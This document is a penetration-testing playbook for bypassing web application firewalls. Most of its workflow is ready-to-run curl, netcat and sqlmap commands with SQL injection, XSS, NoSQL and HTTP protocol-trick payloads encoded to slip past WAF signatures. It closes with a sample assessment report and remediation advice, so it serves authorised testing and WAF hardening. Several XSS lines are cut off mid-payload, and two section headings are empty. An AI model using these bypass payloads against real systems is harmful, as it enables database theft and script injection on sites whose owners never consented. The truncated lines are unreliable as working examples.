Performing Web Application Firewall Bypass

Performing Web Application Firewall Bypass

When to Use

• When confirmed vulnerabilities are blocked by WAF signature-based detection
• During penetration testing where WAF prevents exploitation of known issues
• When evaluating WAF rule effectiveness against evasion techniques
• During red team engagements requiring bypass of perimeter security controls
• When testing custom WAF rules for completeness and bypass resistance

How to CONFIRM a Hit (avoid false negatives)

• Positive signal: a payload the WAF previously blocked now reaches the application AND the underlying vulnerability actually fires (SQLi extracts data, XSS executes, etc.) — confirm the real vuln, not just that the request returned 200.
• A 200 OK to an encoded/benign payload means "not blocked," which is meaningless if the payload no longer triggers the bug. The bypass is only confirmed when both the WAF is evaded and the vuln is demonstrated.
• Do NOT conclude "no bypass possible" until you have:
  • Established a baseline: confirm the raw payload is genuinely blocked (403/block page/CAPTCHA) and that an equivalent benign request is allowed.
  • Confirmed the underlying vulnerability exists at all — if the app isn't vulnerable, a "bypass" proves nothing.
  • Tried multiple evasion classes: encoding chains (URL/double/Unicode/HTML-entity), case + inline comments, alternate content-types (JSON/XML/multipart), HTTP method switch / chunked transfer / HPP, and SQLMap tamper scripts.
  • Verified the obfuscated payload still parses and executes server-side (e.g. data actually returned, alert actually fires) — keep the payload semantically intact.
  • Distinguished a WAF block (403/scrubbed) from an application error (500/400) so you don't mistake an app-layer rejection for WAF filtering.

Prerequisites

• Burp Suite Professional with SQLMap integration
• wafw00f for WAF fingerprinting and identification
• SQLMap with tamper scripts for automated WAF bypass
• Understanding of WAF detection mechanisms (signature, regex, behavioral)
• Collection of encoding and obfuscation techniques per attack type
• Knowledge of HTTP protocol nuances exploitable for evasion

Workflow

Step 1 — Identify and Fingerprint the WAF

# Detect WAF using wafw00f
wafw00f http://target.com

# Manual WAF detection via response headers
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"

# Trigger WAF with known bad payload and analyze response
curl "http://target.com/page?id=1' OR 1=1--" -v
# Look for: 403 Forbidden, custom block page, CAPTCHA challenge

# Common WAF indicators:
# Cloudflare: cf-ray header, __cfduid cookie
# AWS WAF: x-amzn-requestid
# ModSecurity: Mod_Security or OWASP CRS error messages
# Akamai: AkamaiGHost header
# Imperva: incap_ses cookie, visid_incap cookie

Step 2 — Bypass with Encoding and Obfuscation

# URL encoding bypass
curl "http://target.com/page?id=1%27%20OR%201%3D1--"

# Double URL encoding
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"

# Unicode encoding
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"

# HTML entity encoding in body
curl -X POST http://target.com/search \
  -d "q=<script>alert&#40;1&#41;</script>"

# Mixed case SQL keywords
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"

# Inline comments between SQL keywords
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"

# MySQL version-specific comments
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"

# Null bytes
curl "http://target.com/page?id=1'%00 OR 1=1--"

# Tab and newline substitution for spaces
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"

Step 3 — Bypass with HTTP Method and Protocol Tricks

# Change HTTP method (WAFs may only inspect GET/POST)
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"

# Use HTTP/0.9 (no headers)
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80

# Content-Type manipulation
curl -X POST http://target.com/page \
  -H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
  -d "id=1' OR 1=1--"

# Multipart form data (may bypass body inspection)
curl -X POST http://target.com/page \
  -F "id=1' OR 1=1--"

# Chunked Transfer-Encoding
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80

# Parameter in unusual locations
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"

Step 4 — Bypass with Payload Splitting and HPP

# HTTP Parameter Pollution
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"

# Split payload across parameters
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"

# JSON-based SQLi (many WAFs miss JSON payloads)
curl -X POST http://target.com/api/query \
  -H "Content-Type: application/json" \
  -d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'

# JSON SQL injection with operators
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt":"", "$where":"1==1"}}'

# XML-wrapped payloads
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d "<data><id>1' UNION SELECT password FROM users--</id></data>"

Step 5 — Use SQLMap Tamper Scripts

# SQLMap with built-in tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment

# Common tamper scripts for WAF bypass:
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
sqlmap -u "http://target.com/page?id=1" --tamper=percentage
sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between

# Multiple tamper scripts combined
sqlmap -u "http://target.com/page?id=1" \
  --tamper=randomcase,space2comment,between,charunicodeencode \
  --random-agent --level 5 --risk 3

# Custom WAF bypass profile
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,randomcase \
  --delay=2 --random-agent \
  --technique=B --batch

Step 6 — XSS WAF Bypass Techniques

# Case variation
curl "http://target.com/page?q=<ScRiPt>alert(1)</ScRiPt>"

# Event handler alternatives
curl "http://target.com/page?q=<img src=x
curl "http://target.com/page?q=<svg/onload=alert(1)>"
curl "http://target.com/page?q=<body
curl "http://target.com/page?q=<marquee

# JavaScript URI scheme
curl "http://target.com/page?q=<a href=#

# Template literal syntax
curl "http://target.com/page?q=<script>alert\x601\x60</script>"

# Concatenation-based bypass
curl "http://target.com/page?q=<script>al\u0065rt(1)</script>"

# HTML encoding within attributes
curl "http://target.com/page?q=<img src=x

# Double encoding
curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"

Key Concepts

Tools & Systems

Common Scenarios

1. SQLi Through JSON — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules
2. XSS via Event Handlers — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules
3. Encoding Chain Bypass — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF
4. Chunked Transfer Bypass — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching
5. Method Override — Send attack payloads via PUT/PATCH methods or custom headers that WAF does not inspect

Output Format

## WAF Bypass Assessment Report
- **Target**: http://target.com
- **WAF Identified**: Cloudflare (via cf-ray header)
- **Bypass Achieved**: Yes

### WAF Detection Results
| Payload Type | Blocked | Bypass Found |
|-------------|---------|-------------|
| Basic SQLi | Yes | Yes (JSON encoding) |
| UNION SELECT | Yes | Yes (inline comments) |
| XSS <script> | Yes | Yes (SVG onload) |
| Path Traversal | No | N/A (not blocked) |

### Successful Bypass Payloads
| # | Original (Blocked) | Bypass Payload | Technique |
|---|-------------------|---------------|-----------|
| 1 | 1' OR 1=1-- | {"id":"1' OR 1=1--"} | JSON content-type |
| 2 | UNION SELECT | /*!50000UNION*/ /*!50000SELECT*/ | MySQL version comments |
| 3 | <script>alert(1)</script> | <svg/onload=alert(1)> | Alternative tag+event |

### Remediation
- Enable JSON body inspection in WAF rules
- Implement behavioral analysis alongside signature detection
- Add rules for uncommon HTML tags and event handlers
- Enable deep content inspection for all HTTP methods
- Implement request normalization before rule evaluation